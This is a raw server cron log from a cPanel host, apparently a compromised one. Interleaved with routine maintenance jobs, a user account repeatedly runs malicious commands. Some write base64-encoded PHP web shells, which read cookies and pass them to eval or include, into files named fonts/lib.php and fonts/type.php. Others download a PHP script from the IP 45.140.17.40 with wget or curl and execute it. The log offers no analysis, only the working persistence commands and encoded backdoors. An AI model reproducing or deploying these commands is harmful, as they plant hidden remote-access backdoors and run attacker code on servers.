Sep  2 19:17:01 ip-184-168-122-23 CROND[32544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:17:01 ip-184-168-122-23 CROND[32546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:18:01 ip-184-168-122-23 CROND[32767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:18:01 ip-184-168-122-23 CROND[314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:18:01 ip-184-168-122-23 CROND[300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:18:01 ip-184-168-122-23 CROND[301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:18:01 ip-184-168-122-23 CROND[315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:19:01 ip-184-168-122-23 CROND[448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:19:01 ip-184-168-122-23 CROND[446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:19:01 ip-184-168-122-23 CROND[447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:19:01 ip-184-168-122-23 CROND[449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:20:01 ip-184-168-122-23 CROND[579]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 19:20:01 ip-184-168-122-23 CROND[581]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:20:01 ip-184-168-122-23 CROND[586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:20:01 ip-184-168-122-23 CROND[588]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:20:01 ip-184-168-122-23 CROND[590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:20:01 ip-184-168-122-23 CROND[582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:20:01 ip-184-168-122-23 CROND[591]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 19:20:01 ip-184-168-122-23 CROND[585]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:20:01 ip-184-168-122-23 CROND[584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:21:01 ip-184-168-122-23 CROND[704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:21:01 ip-184-168-122-23 CROND[706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:21:01 ip-184-168-122-23 CROND[708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:21:01 ip-184-168-122-23 CROND[707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:22:01 ip-184-168-122-23 CROND[806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:22:01 ip-184-168-122-23 CROND[807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:22:02 ip-184-168-122-23 CROND[810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:22:02 ip-184-168-122-23 CROND[809]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:22:02 ip-184-168-122-23 CROND[811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:23:01 ip-184-168-122-23 CROND[937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:23:01 ip-184-168-122-23 CROND[936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:23:01 ip-184-168-122-23 CROND[938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:23:01 ip-184-168-122-23 CROND[939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:24:01 ip-184-168-122-23 CROND[1037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:24:01 ip-184-168-122-23 CROND[1039]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:24:01 ip-184-168-122-23 CROND[1040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:24:01 ip-184-168-122-23 CROND[1041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:24:01 ip-184-168-122-23 CROND[1042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:25:01 ip-184-168-122-23 CROND[1219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:25:01 ip-184-168-122-23 CROND[1222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:25:01 ip-184-168-122-23 CROND[1223]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:25:01 ip-184-168-122-23 CROND[1225]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:25:01 ip-184-168-122-23 CROND[1226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:25:01 ip-184-168-122-23 CROND[1224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:26:01 ip-184-168-122-23 CROND[1325]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:26:01 ip-184-168-122-23 CROND[1327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:26:01 ip-184-168-122-23 CROND[1326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:26:01 ip-184-168-122-23 CROND[1329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:26:01 ip-184-168-122-23 CROND[1330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:27:01 ip-184-168-122-23 CROND[1447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:27:01 ip-184-168-122-23 CROND[1449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:27:01 ip-184-168-122-23 CROND[1448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:27:01 ip-184-168-122-23 CROND[1450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:28:01 ip-184-168-122-23 CROND[1545]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:28:01 ip-184-168-122-23 CROND[1547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:28:01 ip-184-168-122-23 CROND[1546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:28:01 ip-184-168-122-23 CROND[1550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:28:01 ip-184-168-122-23 CROND[1552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:29:01 ip-184-168-122-23 CROND[1645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:29:01 ip-184-168-122-23 CROND[1643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:29:01 ip-184-168-122-23 CROND[1644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:29:01 ip-184-168-122-23 CROND[1646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
